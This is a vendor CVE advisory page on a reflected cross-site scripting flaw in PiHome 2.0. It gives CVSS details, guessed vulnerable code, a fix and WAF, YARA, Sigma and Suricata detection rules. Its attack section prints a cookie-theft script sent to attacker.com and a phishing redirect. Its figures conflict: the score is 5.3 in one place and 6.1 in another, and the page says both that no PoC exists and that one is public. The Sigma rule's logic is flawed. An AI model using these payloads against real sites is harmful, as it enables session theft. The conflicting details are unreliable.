☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-1742

CVE-2025-1742 Cross-Site Scripting in Pihome-shc
📅 PUBLISHED: 2025-02-27 17:00 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.53%
👁️
0.53% probability
13.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-1742 is a reflected Cross-Site Scripting (XSS) vulnerability in PiHome 2.0, a smart home automation system developed by pihome-shc. The flaw resides in the /home.php endpoint, where the page_name parameter is insufficiently sanitized before being reflected in the response. An attacker can craft a malicious URL containing JavaScript payloads; when a victim clicks the link, the script executes in the context of the PiHome application, potentially leading to session hijacking, credential theft, or unauthorized actions.

The vendor was contacted but did not respond, and no official patch exists. A public proof-of-concept (PoC) has been released, increasing the risk of exploitation. The CVSS score is 6.1 (Medium), but the lack of a patch and public exploit details elevate the real-world threat.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a custom PHP application (PiHome) running on a standard LAMP stack. No supply chain component is involved.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 6.1 (Medium)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: Required (UI:R) – Victim must click a crafted link.
  • Scope: Changed (S:C) – The vulnerable component and the impacted component are different (browser vs. application).
  • Confidentiality Impact: Low (C:L) – Limited data exposure (e.g., session tokens).
  • Integrity Impact: Low (I:L) – Limited modification of content.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The public PoC and lack of patch make this a realistic threat for unpatched PiHome instances.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the page_name parameter of /home.php. The application likely includes the value of page_name directly into the HTML response without proper encoding or sanitization. For example, the code might look like:

<?php
$page = $_GET['page_name'];
echo "<div class='page-content'>$page</div>";
?>

An attacker can inject arbitrary HTML/JavaScript by providing a payload such as:

/home.php?page_name=<script>alert('XSS')</script>

When the victim's browser renders the page, the script executes. This can be escalated to steal cookies, perform actions on behalf of the user, or redirect to phishing pages.

The attack is remote and requires no authentication, but user interaction (clicking a link) is necessary. The vulnerability is classified as problematic (CWE-79) and has been publicly disclosed.

Vulnerable vs. Patched Code

Vulnerable Code (PiHome 2.0):

<?php
$page_name = $_GET['page_name'];
echo "<h1>$page_name</h1>";
?>

Patched Code (Hypothetical):

<?php
$page_name = htmlspecialchars($_GET['page_name'], ENT_QUOTES, 'UTF-8');
echo "<h1>$page_name</h1>";
?>

The fix uses htmlspecialchars() to encode special characters, preventing script injection. Since no official patch exists, users must implement this manually or apply a WAF rule.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A vulnerable PiHome 2.0 instance (e.g., Docker container or local VM).
  • A web browser or curl.

Step 1: Basic XSS Test

curl "http://target/home.php?page_name=<script>alert('XSS')</script>"

If the alert box appears in a browser, the vulnerability is confirmed.

Step 2: Cookie Theft Payload

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

URL-encode the payload:

/home.php?page_name=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal.php%3Fcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E

Step 3: Phishing Redirection

<script>window.location='http://attacker.com/fake-login'</script>

Blue Team (Defense & Detection)

WAF Rule (ModSecurity):

SecRule ARGS:page_name "@rx <script|onerror|onload|javascript:" "id:1001,phase:2,deny,status:403,msg:'XSS attempt blocked'"

Manual Verification:

  • Review web server logs for requests to /home.php with suspicious page_name parameters.
  • Check for unexpected outbound connections from the PiHome server.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /home.php containing <script>, onerror, onload, or javascript: in the page_name parameter.
    • Outbound connections to unknown IPs/domains from the PiHome server (potential data exfiltration).
  • File IOCs:
    • Modified /home.php file (if attacker uploaded a webshell).
    • Suspicious entries in /var/log/apache2/access.log or /var/log/nginx/access.log.
  • Behavioral IOCs:
    • Unexpected admin actions (e.g., adding new users, changing settings).
    • Alerts from WAF or IDS/IPS.

Detection Engineering

YARA Rule

rule CVE_2025_1742_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting PiHome /home.php page_name parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1742"
    strings:
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $xss5 = "alert(" nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-1742 XSS Attempt on PiHome
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects reflected XSS attempts against PiHome /home.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: 
            - "/home.php?page_name="
        cs-uri-query|contains|all:
            - "<script"
            - "onerror"
            - "onload"
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in page names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1742 XSS Attempt on PiHome"; flow:to_server,established; content:"/home.php"; http_uri; content:"page_name="; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Input Sanitization: Manually patch /home.php by adding htmlspecialchars() to the page_name parameter.
  2. WAF Rules: Deploy ModSecurity or a cloud WAF (e.g., Cloudflare) with rules to block XSS payloads.
  3. Content Security Policy (CSP): Add a CSP header to restrict script execution:
    Header set Content-Security-Policy "default-src 'self'; script-src 'self'"
    
  4. Disable Unused Features: If /home.php is not critical, restrict access via .htaccess or firewall.

Long-Term Recommendations:

  • Upgrade: Monitor for an official patch from pihome-shc. If none appears, consider migrating to an alternative smart home platform.
  • Code Audit: Perform a security review of the entire PiHome codebase for similar injection flaws.
  • Network Segmentation: Isolate the PiHome server from the internet; use a VPN for remote access.

Valters IT
Securing your digital infrastructure, one CVE at a time.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-1742/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.